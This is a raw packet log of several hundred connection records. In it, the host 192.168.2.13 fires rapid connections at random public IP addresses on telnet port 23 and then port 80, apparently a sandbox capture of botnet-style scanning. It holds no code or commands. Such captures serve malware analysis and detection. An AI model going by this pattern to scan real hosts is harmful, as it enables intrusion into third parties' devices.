Jan 30, 2025 10:42:59.089924097 CET	23	38884	172.84.36.212	192.168.2.13
Jan 30, 2025 10:42:59.089936972 CET	23	38884	139.37.145.33	192.168.2.13
Jan 30, 2025 10:42:59.089958906 CET	38884	23	192.168.2.13	172.84.36.212
Jan 30, 2025 10:42:59.089960098 CET	23	38884	211.232.244.182	192.168.2.13
Jan 30, 2025 10:42:59.089966059 CET	38884	23	192.168.2.13	58.188.77.216
Jan 30, 2025 10:42:59.089972973 CET	23	38884	178.46.45.140	192.168.2.13
Jan 30, 2025 10:42:59.089984894 CET	23	38884	2.128.120.29	192.168.2.13
Jan 30, 2025 10:42:59.089996099 CET	23	38884	162.94.2.150	192.168.2.13
Jan 30, 2025 10:42:59.090008974 CET	38884	23	192.168.2.13	178.46.45.140
Jan 30, 2025 10:42:59.090008974 CET	38884	23	192.168.2.13	159.230.53.1
Jan 30, 2025 10:42:59.090008974 CET	38884	23	192.168.2.13	211.232.244.182
Jan 30, 2025 10:42:59.090010881 CET	38884	23	192.168.2.13	139.37.145.33
Jan 30, 2025 10:42:59.090023994 CET	23	38884	163.23.66.58	192.168.2.13
Jan 30, 2025 10:42:59.090037107 CET	38884	23	192.168.2.13	162.94.2.150
Jan 30, 2025 10:42:59.090040922 CET	38884	23	192.168.2.13	2.128.120.29
Jan 30, 2025 10:42:59.090049028 CET	23	38884	25.19.71.126	192.168.2.13
Jan 30, 2025 10:42:59.090060949 CET	23	38884	189.205.146.125	192.168.2.13
Jan 30, 2025 10:42:59.090063095 CET	38884	23	192.168.2.13	163.23.66.58
Jan 30, 2025 10:42:59.090074062 CET	23	38884	124.165.59.108	192.168.2.13
Jan 30, 2025 10:42:59.090084076 CET	38884	23	192.168.2.13	25.19.71.126
Jan 30, 2025 10:42:59.090110064 CET	38884	23	192.168.2.13	189.205.146.125
Jan 30, 2025 10:42:59.090116978 CET	38884	23	192.168.2.13	124.165.59.108
Jan 30, 2025 10:42:59.090373993 CET	23	38884	178.171.42.251	192.168.2.13
Jan 30, 2025 10:42:59.090388060 CET	23	38884	96.53.121.91	192.168.2.13
Jan 30, 2025 10:42:59.090399027 CET	23	38884	199.72.212.75	192.168.2.13
Jan 30, 2025 10:42:59.090408087 CET	38884	23	192.168.2.13	178.171.42.251
Jan 30, 2025 10:42:59.090411901 CET	23	38884	57.160.23.138	192.168.2.13
Jan 30, 2025 10:42:59.090416908 CET	38884	23	192.168.2.13	96.53.121.91
Jan 30, 2025 10:42:59.090425014 CET	23	38884	44.61.73.116	192.168.2.13
Jan 30, 2025 10:42:59.090435982 CET	38884	23	192.168.2.13	199.72.212.75
Jan 30, 2025 10:42:59.090444088 CET	38884	23	192.168.2.13	57.160.23.138
Jan 30, 2025 10:42:59.090446949 CET	23	38884	79.212.255.39	192.168.2.13
Jan 30, 2025 10:42:59.090461969 CET	23	38884	63.17.233.222	192.168.2.13
Jan 30, 2025 10:42:59.090466976 CET	38884	23	192.168.2.13	44.61.73.116
Jan 30, 2025 10:42:59.090497017 CET	38884	23	192.168.2.13	63.17.233.222
Jan 30, 2025 10:42:59.090517044 CET	38884	23	192.168.2.13	79.212.255.39
Jan 30, 2025 10:42:59.090517044 CET	23	38884	139.9.159.105	192.168.2.13
Jan 30, 2025 10:42:59.090529919 CET	53420	23	192.168.2.13	23.13.99.188
Jan 30, 2025 10:42:59.090532064 CET	23	38884	172.238.35.83	192.168.2.13
Jan 30, 2025 10:42:59.090553045 CET	23	38884	9.192.127.55	192.168.2.13
Jan 30, 2025 10:42:59.090555906 CET	38884	23	192.168.2.13	139.9.159.105
Jan 30, 2025 10:42:59.090558052 CET	38884	23	192.168.2.13	172.238.35.83
Jan 30, 2025 10:42:59.090565920 CET	23	38884	213.248.146.213	192.168.2.13
Jan 30, 2025 10:42:59.090578079 CET	23	38884	114.46.43.81	192.168.2.13
Jan 30, 2025 10:42:59.090590954 CET	23	38884	179.237.80.105	192.168.2.13
Jan 30, 2025 10:42:59.090600014 CET	38884	23	192.168.2.13	9.192.127.55
Jan 30, 2025 10:42:59.090610981 CET	38884	23	192.168.2.13	213.248.146.213
Jan 30, 2025 10:42:59.090610981 CET	23	38884	88.47.49.105	192.168.2.13
Jan 30, 2025 10:42:59.090625048 CET	23	38884	202.180.88.45	192.168.2.13
Jan 30, 2025 10:42:59.090631962 CET	38884	23	192.168.2.13	179.237.80.105
Jan 30, 2025 10:42:59.090636969 CET	23	38884	164.194.89.222	192.168.2.13
Jan 30, 2025 10:42:59.090642929 CET	38884	23	192.168.2.13	114.46.43.81
Jan 30, 2025 10:42:59.090651035 CET	23	38884	8.199.160.213	192.168.2.13
Jan 30, 2025 10:42:59.090651989 CET	38884	23	192.168.2.13	202.180.88.45
Jan 30, 2025 10:42:59.090656996 CET	38884	23	192.168.2.13	88.47.49.105
Jan 30, 2025 10:42:59.090666056 CET	23	38884	150.202.116.202	192.168.2.13
Jan 30, 2025 10:42:59.090672970 CET	38884	23	192.168.2.13	164.194.89.222
Jan 30, 2025 10:42:59.090678930 CET	23	38884	178.109.102.192	192.168.2.13
Jan 30, 2025 10:42:59.090687990 CET	38884	23	192.168.2.13	8.199.160.213
Jan 30, 2025 10:42:59.090692043 CET	23	38884	130.93.213.184	192.168.2.13
Jan 30, 2025 10:42:59.090706110 CET	23	38884	65.188.112.60	192.168.2.13
Jan 30, 2025 10:42:59.090714931 CET	38884	23	192.168.2.13	178.109.102.192
Jan 30, 2025 10:42:59.090718985 CET	23	38884	18.195.112.237	192.168.2.13
Jan 30, 2025 10:42:59.090723038 CET	38884	23	192.168.2.13	150.202.116.202
Jan 30, 2025 10:42:59.090730906 CET	23	38884	151.48.134.100	192.168.2.13
Jan 30, 2025 10:42:59.090734959 CET	38884	23	192.168.2.13	130.93.213.184
Jan 30, 2025 10:42:59.090744972 CET	23	38884	2.175.140.58	192.168.2.13
Jan 30, 2025 10:42:59.090755939 CET	38884	23	192.168.2.13	65.188.112.60
Jan 30, 2025 10:42:59.090756893 CET	23	38884	62.76.113.54	192.168.2.13
Jan 30, 2025 10:42:59.090770006 CET	23	38884	158.245.213.93	192.168.2.13
Jan 30, 2025 10:42:59.090781927 CET	23	38884	53.121.152.182	192.168.2.13
Jan 30, 2025 10:42:59.090786934 CET	38884	23	192.168.2.13	18.195.112.237
Jan 30, 2025 10:42:59.090786934 CET	38884	23	192.168.2.13	2.175.140.58
Jan 30, 2025 10:42:59.090787888 CET	38884	23	192.168.2.13	151.48.134.100
Jan 30, 2025 10:42:59.090796947 CET	23	38884	72.131.18.91	192.168.2.13
Jan 30, 2025 10:42:59.090797901 CET	38884	23	192.168.2.13	62.76.113.54
Jan 30, 2025 10:42:59.090857029 CET	38884	23	192.168.2.13	158.245.213.93
Jan 30, 2025 10:42:59.090859890 CET	38884	23	192.168.2.13	72.131.18.91
Jan 30, 2025 10:42:59.090859890 CET	38884	23	192.168.2.13	53.121.152.182
Jan 30, 2025 10:42:59.091109037 CET	23	38884	40.89.214.28	192.168.2.13
Jan 30, 2025 10:42:59.091121912 CET	23	38884	77.192.244.202	192.168.2.13
Jan 30, 2025 10:42:59.091134071 CET	23	38884	86.61.245.187	192.168.2.13
Jan 30, 2025 10:42:59.091145992 CET	23	38884	76.41.255.3	192.168.2.13
Jan 30, 2025 10:42:59.091152906 CET	38884	23	192.168.2.13	40.89.214.28
Jan 30, 2025 10:42:59.091157913 CET	23	38884	134.80.221.26	192.168.2.13
Jan 30, 2025 10:42:59.091161013 CET	38884	23	192.168.2.13	77.192.244.202
Jan 30, 2025 10:42:59.091171026 CET	23	38884	197.154.143.17	192.168.2.13
Jan 30, 2025 10:42:59.091183901 CET	23	38884	118.229.86.14	192.168.2.13
Jan 30, 2025 10:42:59.091192961 CET	38884	23	192.168.2.13	86.61.245.187
Jan 30, 2025 10:42:59.091193914 CET	38884	23	192.168.2.13	76.41.255.3
Jan 30, 2025 10:42:59.091197014 CET	23	38884	171.183.43.151	192.168.2.13
Jan 30, 2025 10:42:59.091198921 CET	38884	23	192.168.2.13	134.80.221.26
Jan 30, 2025 10:42:59.091217995 CET	38884	23	192.168.2.13	197.154.143.17
Jan 30, 2025 10:42:59.091222048 CET	38884	23	192.168.2.13	118.229.86.14
Jan 30, 2025 10:42:59.091229916 CET	23	38884	201.191.80.210	192.168.2.13
Jan 30, 2025 10:42:59.091243029 CET	23	38884	50.102.239.10	192.168.2.13
Jan 30, 2025 10:42:59.091253996 CET	23	38884	178.153.79.108	192.168.2.13
Jan 30, 2025 10:42:59.091259003 CET	38884	23	192.168.2.13	171.183.43.151
Jan 30, 2025 10:42:59.091267109 CET	23	38884	122.122.182.153	192.168.2.13
Jan 30, 2025 10:42:59.091279030 CET	23	38884	156.209.28.128	192.168.2.13
Jan 30, 2025 10:42:59.091289997 CET	38884	23	192.168.2.13	50.102.239.10
Jan 30, 2025 10:42:59.091301918 CET	23	38884	62.156.251.45	192.168.2.13
Jan 30, 2025 10:42:59.091301918 CET	38884	23	192.168.2.13	122.122.182.153
Jan 30, 2025 10:42:59.091330051 CET	38884	23	192.168.2.13	201.191.80.210
Jan 30, 2025 10:42:59.091330051 CET	38884	23	192.168.2.13	178.153.79.108
Jan 30, 2025 10:42:59.091336966 CET	23	38884	178.89.220.9	192.168.2.13
Jan 30, 2025 10:42:59.091346025 CET	38884	23	192.168.2.13	62.156.251.45
Jan 30, 2025 10:42:59.091351032 CET	38884	23	192.168.2.13	156.209.28.128
Jan 30, 2025 10:42:59.091366053 CET	23	38884	62.200.63.82	192.168.2.13
Jan 30, 2025 10:42:59.091378927 CET	23	38884	205.8.142.232	192.168.2.13
Jan 30, 2025 10:42:59.091387033 CET	38884	23	192.168.2.13	178.89.220.9
Jan 30, 2025 10:42:59.091391087 CET	23	38884	101.18.152.127	192.168.2.13
Jan 30, 2025 10:42:59.091401100 CET	38884	23	192.168.2.13	62.200.63.82
Jan 30, 2025 10:42:59.091404915 CET	23	38884	172.249.160.253	192.168.2.13
Jan 30, 2025 10:42:59.091408968 CET	38884	23	192.168.2.13	205.8.142.232
Jan 30, 2025 10:42:59.091418028 CET	23	38884	160.81.41.164	192.168.2.13
Jan 30, 2025 10:42:59.091429949 CET	23	38884	111.179.96.73	192.168.2.13
Jan 30, 2025 10:42:59.091442108 CET	23	38884	151.177.75.134	192.168.2.13
Jan 30, 2025 10:42:59.091443062 CET	38884	23	192.168.2.13	101.18.152.127
Jan 30, 2025 10:42:59.091448069 CET	38884	23	192.168.2.13	172.249.160.253
Jan 30, 2025 10:42:59.091454029 CET	38884	23	192.168.2.13	111.179.96.73
Jan 30, 2025 10:42:59.091465950 CET	23	38884	220.70.237.247	192.168.2.13
Jan 30, 2025 10:42:59.091479063 CET	23	38884	176.242.189.203	192.168.2.13
Jan 30, 2025 10:42:59.091485023 CET	38884	23	192.168.2.13	151.177.75.134
Jan 30, 2025 10:42:59.091491938 CET	23	38884	152.90.84.19	192.168.2.13
Jan 30, 2025 10:42:59.091511011 CET	38884	23	192.168.2.13	220.70.237.247
Jan 30, 2025 10:42:59.091516972 CET	23	38884	78.117.74.100	192.168.2.13
Jan 30, 2025 10:42:59.091521025 CET	38884	23	192.168.2.13	176.242.189.203
Jan 30, 2025 10:42:59.091531038 CET	23	38884	108.33.127.250	192.168.2.13
Jan 30, 2025 10:42:59.091536045 CET	38884	23	192.168.2.13	160.81.41.164
Jan 30, 2025 10:42:59.091536999 CET	38884	23	192.168.2.13	152.90.84.19
Jan 30, 2025 10:42:59.091543913 CET	23	38884	107.116.190.175	192.168.2.13
Jan 30, 2025 10:42:59.091555119 CET	38884	23	192.168.2.13	78.117.74.100
Jan 30, 2025 10:42:59.091573000 CET	38884	23	192.168.2.13	108.33.127.250
Jan 30, 2025 10:42:59.091586113 CET	38884	23	192.168.2.13	107.116.190.175
Jan 30, 2025 10:42:59.091659069 CET	23	38884	161.118.206.236	192.168.2.13
Jan 30, 2025 10:42:59.091671944 CET	23	38884	108.184.115.84	192.168.2.13
Jan 30, 2025 10:42:59.091684103 CET	23	38884	9.202.116.117	192.168.2.13
Jan 30, 2025 10:42:59.091696024 CET	23	38884	157.123.19.152	192.168.2.13
Jan 30, 2025 10:42:59.091702938 CET	38884	23	192.168.2.13	161.118.206.236
Jan 30, 2025 10:42:59.091708899 CET	23	38884	19.222.80.31	192.168.2.13
Jan 30, 2025 10:42:59.091722965 CET	38884	23	192.168.2.13	108.184.115.84
Jan 30, 2025 10:42:59.091732025 CET	23	38884	112.10.252.106	192.168.2.13
Jan 30, 2025 10:42:59.091749907 CET	23	38884	34.130.90.232	192.168.2.13
Jan 30, 2025 10:42:59.091753960 CET	38884	23	192.168.2.13	9.202.116.117
Jan 30, 2025 10:42:59.091756105 CET	38884	23	192.168.2.13	157.123.19.152
Jan 30, 2025 10:42:59.091768026 CET	23	38884	208.241.62.242	192.168.2.13
Jan 30, 2025 10:42:59.091778040 CET	38884	23	192.168.2.13	112.10.252.106
Jan 30, 2025 10:42:59.091780901 CET	23	38884	193.21.142.64	192.168.2.13
Jan 30, 2025 10:42:59.091784000 CET	45512	23	192.168.2.13	208.15.64.159
Jan 30, 2025 10:42:59.091793060 CET	38884	23	192.168.2.13	34.130.90.232
Jan 30, 2025 10:42:59.091794014 CET	38884	23	192.168.2.13	19.222.80.31
Jan 30, 2025 10:42:59.091794014 CET	23	38884	27.86.253.150	192.168.2.13
Jan 30, 2025 10:42:59.091808081 CET	23	38884	106.33.223.85	192.168.2.13
Jan 30, 2025 10:42:59.091816902 CET	38884	23	192.168.2.13	193.21.142.64
Jan 30, 2025 10:42:59.091819048 CET	38884	23	192.168.2.13	208.241.62.242
Jan 30, 2025 10:42:59.091820002 CET	23	38884	61.161.127.197	192.168.2.13
Jan 30, 2025 10:42:59.091830015 CET	38884	23	192.168.2.13	27.86.253.150
Jan 30, 2025 10:42:59.091842890 CET	23	38884	111.121.203.32	192.168.2.13
Jan 30, 2025 10:42:59.091844082 CET	38884	23	192.168.2.13	106.33.223.85
Jan 30, 2025 10:42:59.091856003 CET	23	38884	64.112.233.38	192.168.2.13
Jan 30, 2025 10:42:59.091869116 CET	23	38884	17.255.48.84	192.168.2.13
Jan 30, 2025 10:42:59.091881990 CET	23	38884	100.39.254.28	192.168.2.13
Jan 30, 2025 10:42:59.091886044 CET	38884	23	192.168.2.13	111.121.203.32
Jan 30, 2025 10:42:59.091895103 CET	23	38884	142.103.76.226	192.168.2.13
Jan 30, 2025 10:42:59.091903925 CET	38884	23	192.168.2.13	61.161.127.197
Jan 30, 2025 10:42:59.091903925 CET	38884	23	192.168.2.13	17.255.48.84
Jan 30, 2025 10:42:59.091908932 CET	23	38884	88.189.118.234	192.168.2.13
Jan 30, 2025 10:42:59.091909885 CET	38884	23	192.168.2.13	64.112.233.38
Jan 30, 2025 10:42:59.091927052 CET	38884	23	192.168.2.13	100.39.254.28
Jan 30, 2025 10:42:59.091937065 CET	38884	23	192.168.2.13	142.103.76.226
Jan 30, 2025 10:42:59.091959000 CET	38884	23	192.168.2.13	88.189.118.234
Jan 30, 2025 10:42:59.092879057 CET	53552	23	192.168.2.13	150.111.21.145
Jan 30, 2025 10:42:59.093771935 CET	54950	23	192.168.2.13	65.132.133.102
Jan 30, 2025 10:42:59.094804049 CET	48490	23	192.168.2.13	110.235.214.238
Jan 30, 2025 10:42:59.096154928 CET	37940	23	192.168.2.13	39.87.5.151
Jan 30, 2025 10:42:59.097040892 CET	23	45512	208.15.64.159	192.168.2.13
Jan 30, 2025 10:42:59.097085953 CET	45512	23	192.168.2.13	208.15.64.159
Jan 30, 2025 10:42:59.097301960 CET	46702	23	192.168.2.13	93.14.194.70
Jan 30, 2025 10:42:59.098546028 CET	34008	23	192.168.2.13	13.207.10.40
Jan 30, 2025 10:42:59.099833965 CET	56758	23	192.168.2.13	60.56.222.7
Jan 30, 2025 10:42:59.100915909 CET	48564	23	192.168.2.13	112.115.182.38
Jan 30, 2025 10:42:59.102200985 CET	56682	23	192.168.2.13	24.147.106.45
Jan 30, 2025 10:42:59.103435040 CET	55030	23	192.168.2.13	117.189.223.250
Jan 30, 2025 10:42:59.104619980 CET	23	56758	60.56.222.7	192.168.2.13
Jan 30, 2025 10:42:59.104661942 CET	56758	23	192.168.2.13	60.56.222.7
Jan 30, 2025 10:42:59.104773998 CET	40108	23	192.168.2.13	170.182.14.66
Jan 30, 2025 10:42:59.105735064 CET	60012	23	192.168.2.13	164.242.148.95
Jan 30, 2025 10:42:59.106915951 CET	36704	23	192.168.2.13	183.184.36.193
Jan 30, 2025 10:42:59.108062029 CET	46132	23	192.168.2.13	186.137.108.73
Jan 30, 2025 10:42:59.109414101 CET	49558	23	192.168.2.13	78.87.239.212
Jan 30, 2025 10:42:59.110518932 CET	38856	23	192.168.2.13	100.139.127.148
Jan 30, 2025 10:42:59.111610889 CET	47700	23	192.168.2.13	222.251.203.218
Jan 30, 2025 10:42:59.112663984 CET	60280	23	192.168.2.13	8.33.139.200
Jan 30, 2025 10:42:59.113702059 CET	53890	23	192.168.2.13	138.96.198.53
Jan 30, 2025 10:42:59.114936113 CET	40106	23	192.168.2.13	183.156.135.130
Jan 30, 2025 10:42:59.116053104 CET	49076	23	192.168.2.13	119.106.117.163
Jan 30, 2025 10:42:59.116385937 CET	23	47700	222.251.203.218	192.168.2.13
Jan 30, 2025 10:42:59.116425991 CET	47700	23	192.168.2.13	222.251.203.218
Jan 30, 2025 10:42:59.117026091 CET	38885	80	192.168.2.13	90.158.246.217
Jan 30, 2025 10:42:59.117026091 CET	38885	80	192.168.2.13	27.198.164.202
Jan 30, 2025 10:42:59.117032051 CET	38885	80	192.168.2.13	54.122.26.7
Jan 30, 2025 10:42:59.117041111 CET	38885	80	192.168.2.13	124.191.136.122
Jan 30, 2025 10:42:59.117041111 CET	38885	80	192.168.2.13	149.176.75.213
Jan 30, 2025 10:42:59.117048979 CET	38885	80	192.168.2.13	82.140.137.42
Jan 30, 2025 10:42:59.117079020 CET	38885	80	192.168.2.13	35.226.196.104
Jan 30, 2025 10:42:59.117084026 CET	38885	80	192.168.2.13	158.37.91.58
Jan 30, 2025 10:42:59.117084026 CET	46556	23	192.168.2.13	47.180.166.186
Jan 30, 2025 10:42:59.117090940 CET	38885	80	192.168.2.13	204.145.165.234
Jan 30, 2025 10:42:59.117094994 CET	38885	80	192.168.2.13	194.116.60.116
Jan 30, 2025 10:42:59.117103100 CET	38885	80	192.168.2.13	203.19.44.134
Jan 30, 2025 10:42:59.117106915 CET	38885	80	192.168.2.13	141.92.202.127
Jan 30, 2025 10:42:59.117115021 CET	38885	80	192.168.2.13	81.113.114.135
Jan 30, 2025 10:42:59.117115021 CET	38885	80	192.168.2.13	86.122.114.62
Jan 30, 2025 10:42:59.117115974 CET	38885	80	192.168.2.13	157.67.133.9
Jan 30, 2025 10:42:59.117115974 CET	38885	80	192.168.2.13	128.6.143.172
Jan 30, 2025 10:42:59.117115974 CET	38885	80	192.168.2.13	80.223.241.68
Jan 30, 2025 10:42:59.117115974 CET	38885	80	192.168.2.13	94.254.166.47
Jan 30, 2025 10:42:59.117125988 CET	38885	80	192.168.2.13	134.101.151.172
Jan 30, 2025 10:42:59.117130041 CET	38885	80	192.168.2.13	68.194.173.36
Jan 30, 2025 10:42:59.117131948 CET	38885	80	192.168.2.13	65.211.78.48
Jan 30, 2025 10:42:59.117141008 CET	38885	80	192.168.2.13	213.184.57.163
Jan 30, 2025 10:42:59.117141008 CET	38885	80	192.168.2.13	20.102.200.200
Jan 30, 2025 10:42:59.117141008 CET	38885	80	192.168.2.13	24.13.223.211
Jan 30, 2025 10:42:59.117146015 CET	38885	80	192.168.2.13	207.78.84.133
Jan 30, 2025 10:42:59.117146015 CET	38885	80	192.168.2.13	1.170.171.36
Jan 30, 2025 10:42:59.117146015 CET	38885	80	192.168.2.13	42.7.228.185
Jan 30, 2025 10:42:59.117147923 CET	38885	80	192.168.2.13	60.229.12.163
Jan 30, 2025 10:42:59.117150068 CET	38885	80	192.168.2.13	74.122.88.116
Jan 30, 2025 10:42:59.117151976 CET	38885	80	192.168.2.13	94.234.232.50
Jan 30, 2025 10:42:59.117151976 CET	38885	80	192.168.2.13	132.0.89.201
Jan 30, 2025 10:42:59.117153883 CET	38885	80	192.168.2.13	156.56.160.171
Jan 30, 2025 10:42:59.117153883 CET	38885	80	192.168.2.13	165.46.200.171
Jan 30, 2025 10:42:59.117171049 CET	38885	80	192.168.2.13	8.106.214.164
Jan 30, 2025 10:42:59.117171049 CET	38885	80	192.168.2.13	119.109.214.182
Jan 30, 2025 10:42:59.117175102 CET	38885	80	192.168.2.13	138.163.144.150
Jan 30, 2025 10:42:59.117176056 CET	38885	80	192.168.2.13	118.186.110.66
Jan 30, 2025 10:42:59.117180109 CET	38885	80	192.168.2.13	98.192.115.41
Jan 30, 2025 10:42:59.117180109 CET	38885	80	192.168.2.13	115.156.127.5
Jan 30, 2025 10:42:59.117201090 CET	38885	80	192.168.2.13	116.183.100.223
Jan 30, 2025 10:42:59.117201090 CET	38885	80	192.168.2.13	139.206.161.109
Jan 30, 2025 10:42:59.117208004 CET	38885	80	192.168.2.13	150.183.38.137
Jan 30, 2025 10:42:59.117208958 CET	38885	80	192.168.2.13	137.214.121.65
Jan 30, 2025 10:42:59.117208958 CET	38885	80	192.168.2.13	126.157.178.179
Jan 30, 2025 10:42:59.117209911 CET	38885	80	192.168.2.13	199.108.31.231
Jan 30, 2025 10:42:59.117219925 CET	38885	80	192.168.2.13	126.141.80.247
Jan 30, 2025 10:42:59.117224932 CET	38885	80	192.168.2.13	148.96.38.33
Jan 30, 2025 10:42:59.117240906 CET	38885	80	192.168.2.13	84.143.135.89
Jan 30, 2025 10:42:59.117242098 CET	38885	80	192.168.2.13	2.113.195.10
Jan 30, 2025 10:42:59.117240906 CET	38885	80	192.168.2.13	111.146.47.169
Jan 30, 2025 10:42:59.117240906 CET	38885	80	192.168.2.13	85.212.205.62
Jan 30, 2025 10:42:59.117245913 CET	38885	80	192.168.2.13	5.76.165.191
Jan 30, 2025 10:42:59.117245913 CET	38885	80	192.168.2.13	162.186.3.164
Jan 30, 2025 10:42:59.117245913 CET	38885	80	192.168.2.13	195.84.183.46
Jan 30, 2025 10:42:59.117263079 CET	38885	80	192.168.2.13	194.203.77.100
Jan 30, 2025 10:42:59.117263079 CET	38885	80	192.168.2.13	20.174.75.209
Jan 30, 2025 10:42:59.117264986 CET	38885	80	192.168.2.13	50.96.181.204
Jan 30, 2025 10:42:59.117264986 CET	38885	80	192.168.2.13	208.28.146.114
Jan 30, 2025 10:42:59.117264986 CET	38885	80	192.168.2.13	12.47.151.166
Jan 30, 2025 10:42:59.117269993 CET	38885	80	192.168.2.13	20.200.107.112
Jan 30, 2025 10:42:59.117283106 CET	38885	80	192.168.2.13	52.119.82.159
Jan 30, 2025 10:42:59.117283106 CET	38885	80	192.168.2.13	20.217.32.157
Jan 30, 2025 10:42:59.117284060 CET	38885	80	192.168.2.13	180.192.41.232
Jan 30, 2025 10:42:59.117283106 CET	38885	80	192.168.2.13	132.187.253.26
Jan 30, 2025 10:42:59.117284060 CET	38885	80	192.168.2.13	1.126.4.132
Jan 30, 2025 10:42:59.117300034 CET	38885	80	192.168.2.13	36.169.169.18
Jan 30, 2025 10:42:59.117300034 CET	38885	80	192.168.2.13	212.121.39.87
Jan 30, 2025 10:42:59.117300034 CET	38885	80	192.168.2.13	79.172.77.80
Jan 30, 2025 10:42:59.117311954 CET	38885	80	192.168.2.13	45.205.42.14
Jan 30, 2025 10:42:59.117311954 CET	38885	80	192.168.2.13	188.17.136.143
Jan 30, 2025 10:42:59.117324114 CET	38885	80	192.168.2.13	1.20.92.164
Jan 30, 2025 10:42:59.117324114 CET	38885	80	192.168.2.13	34.69.16.2
Jan 30, 2025 10:42:59.117331028 CET	38885	80	192.168.2.13	63.40.154.154
Jan 30, 2025 10:42:59.117331982 CET	38885	80	192.168.2.13	221.193.97.218
Jan 30, 2025 10:42:59.117332935 CET	38885	80	192.168.2.13	198.9.245.129
Jan 30, 2025 10:42:59.117332935 CET	38885	80	192.168.2.13	63.210.175.17
Jan 30, 2025 10:42:59.117343903 CET	38885	80	192.168.2.13	201.135.104.233
Jan 30, 2025 10:42:59.117346048 CET	38885	80	192.168.2.13	13.164.100.231
Jan 30, 2025 10:42:59.117350101 CET	38885	80	192.168.2.13	143.153.186.133
Jan 30, 2025 10:42:59.117350101 CET	38885	80	192.168.2.13	51.126.207.99
Jan 30, 2025 10:42:59.117367029 CET	38885	80	192.168.2.13	201.212.49.181
Jan 30, 2025 10:42:59.117367029 CET	38885	80	192.168.2.13	80.112.156.143
Jan 30, 2025 10:42:59.117367029 CET	38885	80	192.168.2.13	71.140.90.183
Jan 30, 2025 10:42:59.117369890 CET	38885	80	192.168.2.13	145.138.117.218
Jan 30, 2025 10:42:59.117369890 CET	38885	80	192.168.2.13	17.209.20.244
Jan 30, 2025 10:42:59.117369890 CET	38885	80	192.168.2.13	42.137.94.15
Jan 30, 2025 10:42:59.117374897 CET	38885	80	192.168.2.13	197.113.74.176
Jan 30, 2025 10:42:59.117388964 CET	38885	80	192.168.2.13	168.254.149.91
Jan 30, 2025 10:42:59.117388964 CET	38885	80	192.168.2.13	73.249.183.127
Jan 30, 2025 10:42:59.117393017 CET	38885	80	192.168.2.13	105.244.23.198
Jan 30, 2025 10:42:59.117393017 CET	38885	80	192.168.2.13	46.11.70.116
Jan 30, 2025 10:42:59.117398024 CET	38885	80	192.168.2.13	48.42.73.55
Jan 30, 2025 10:42:59.117398024 CET	38885	80	192.168.2.13	94.88.187.25
Jan 30, 2025 10:42:59.117413044 CET	38885	80	192.168.2.13	132.140.23.207
Jan 30, 2025 10:42:59.117414951 CET	38885	80	192.168.2.13	217.220.37.155
Jan 30, 2025 10:42:59.117414951 CET	38885	80	192.168.2.13	97.27.100.125
Jan 30, 2025 10:42:59.117408037 CET	38885	80	192.168.2.13	180.34.228.100
Jan 30, 2025 10:42:59.117423058 CET	38885	80	192.168.2.13	111.122.35.42
Jan 30, 2025 10:42:59.117432117 CET	38885	80	192.168.2.13	121.118.161.95
Jan 30, 2025 10:42:59.117434025 CET	38885	80	192.168.2.13	182.217.192.97
Jan 30, 2025 10:42:59.117434025 CET	38885	80	192.168.2.13	39.39.62.20
Jan 30, 2025 10:42:59.117451906 CET	38885	80	192.168.2.13	96.50.62.75
Jan 30, 2025 10:42:59.117451906 CET	38885	80	192.168.2.13	208.166.63.42
Jan 30, 2025 10:42:59.117451906 CET	38885	80	192.168.2.13	201.113.130.122
Jan 30, 2025 10:42:59.117451906 CET	38885	80	192.168.2.13	210.224.250.143
Jan 30, 2025 10:42:59.117460012 CET	38885	80	192.168.2.13	180.55.208.169
Jan 30, 2025 10:42:59.117480040 CET	38885	80	192.168.2.13	143.31.68.239
Jan 30, 2025 10:42:59.117481947 CET	38885	80	192.168.2.13	185.167.90.148
Jan 30, 2025 10:42:59.117480993 CET	38885	80	192.168.2.13	117.5.14.175
Jan 30, 2025 10:42:59.117482901 CET	38885	80	192.168.2.13	132.23.14.147
Jan 30, 2025 10:42:59.117480993 CET	38885	80	192.168.2.13	122.146.3.238
Jan 30, 2025 10:42:59.117485046 CET	38885	80	192.168.2.13	69.111.108.129
Jan 30, 2025 10:42:59.117501020 CET	38885	80	192.168.2.13	129.61.210.240
Jan 30, 2025 10:42:59.117501020 CET	38885	80	192.168.2.13	211.27.33.58
Jan 30, 2025 10:42:59.117502928 CET	38885	80	192.168.2.13	182.88.52.222
Jan 30, 2025 10:42:59.117503881 CET	38885	80	192.168.2.13	91.251.161.159
Jan 30, 2025 10:42:59.117506981 CET	38885	80	192.168.2.13	23.133.63.237
Jan 30, 2025 10:42:59.117506981 CET	38885	80	192.168.2.13	89.13.244.7
Jan 30, 2025 10:42:59.117506981 CET	38885	80	192.168.2.13	97.120.208.158
Jan 30, 2025 10:42:59.117516994 CET	38885	80	192.168.2.13	146.65.79.77
Jan 30, 2025 10:42:59.117516994 CET	38885	80	192.168.2.13	68.178.129.9
Jan 30, 2025 10:42:59.117520094 CET	38885	80	192.168.2.13	71.115.59.53
Jan 30, 2025 10:42:59.117535114 CET	38885	80	192.168.2.13	186.109.28.109
Jan 30, 2025 10:42:59.117537975 CET	38885	80	192.168.2.13	134.25.249.68
Jan 30, 2025 10:42:59.117546082 CET	38885	80	192.168.2.13	212.76.244.213
Jan 30, 2025 10:42:59.117557049 CET	38885	80	192.168.2.13	13.23.110.215
Jan 30, 2025 10:42:59.117561102 CET	38885	80	192.168.2.13	52.176.75.167
Jan 30, 2025 10:42:59.117561102 CET	38885	80	192.168.2.13	27.8.195.82
Jan 30, 2025 10:42:59.117563009 CET	38885	80	192.168.2.13	222.85.220.149
Jan 30, 2025 10:42:59.117564917 CET	38885	80	192.168.2.13	204.200.144.191
Jan 30, 2025 10:42:59.117564917 CET	38885	80	192.168.2.13	186.171.4.233
Jan 30, 2025 10:42:59.117564917 CET	38885	80	192.168.2.13	76.57.163.251
Jan 30, 2025 10:42:59.117568016 CET	38885	80	192.168.2.13	100.43.143.73
Jan 30, 2025 10:42:59.117578030 CET	38885	80	192.168.2.13	71.30.162.35
Jan 30, 2025 10:42:59.117579937 CET	38885	80	192.168.2.13	13.121.77.16
Jan 30, 2025 10:42:59.117588997 CET	38885	80	192.168.2.13	54.60.129.235
Jan 30, 2025 10:42:59.117592096 CET	38885	80	192.168.2.13	138.245.2.12
Jan 30, 2025 10:42:59.117592096 CET	38885	80	192.168.2.13	76.24.114.181
Jan 30, 2025 10:42:59.117600918 CET	38885	80	192.168.2.13	83.69.204.195
Jan 30, 2025 10:42:59.117604017 CET	38885	80	192.168.2.13	41.229.115.196
